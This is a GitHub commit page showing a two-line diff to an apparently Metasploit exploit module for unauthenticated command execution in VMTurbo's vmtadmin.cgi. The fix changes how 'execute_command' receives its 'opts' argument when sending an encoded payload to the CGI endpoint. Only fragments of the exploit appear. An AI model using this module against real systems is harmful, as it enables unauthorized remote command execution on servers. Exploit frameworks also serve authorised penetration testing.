Skip to content

Commit 5b6be55

Browse files
committed
Fix (properly) 'execute_command()' missing 'opts' parameter
1 parent 3af17ff commit 5b6be55

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -99,7 +99,7 @@ def check
9999
end
100100
end
101101

102-
def execute_command(cmd, opts = {})
102+
def execute_command(cmd, opts)
103103
begin
104104
res = send_request_cgi({
105105
'uri' => '/cgi-bin/vmtadmin.cgi',
@@ -123,7 +123,7 @@ def exploit
123123
# Handle single command shot
124124
if target.name =~ /CMD/
125125
cmd = payload.encoded
126-
res = execute_command(cmd)
126+
res = execute_command(cmd, {})
127127

128128
unless res
129129
fail_with(Failure::Unknown, "#{peer} - Unable to execute payload")

0 commit comments

Comments
 (0)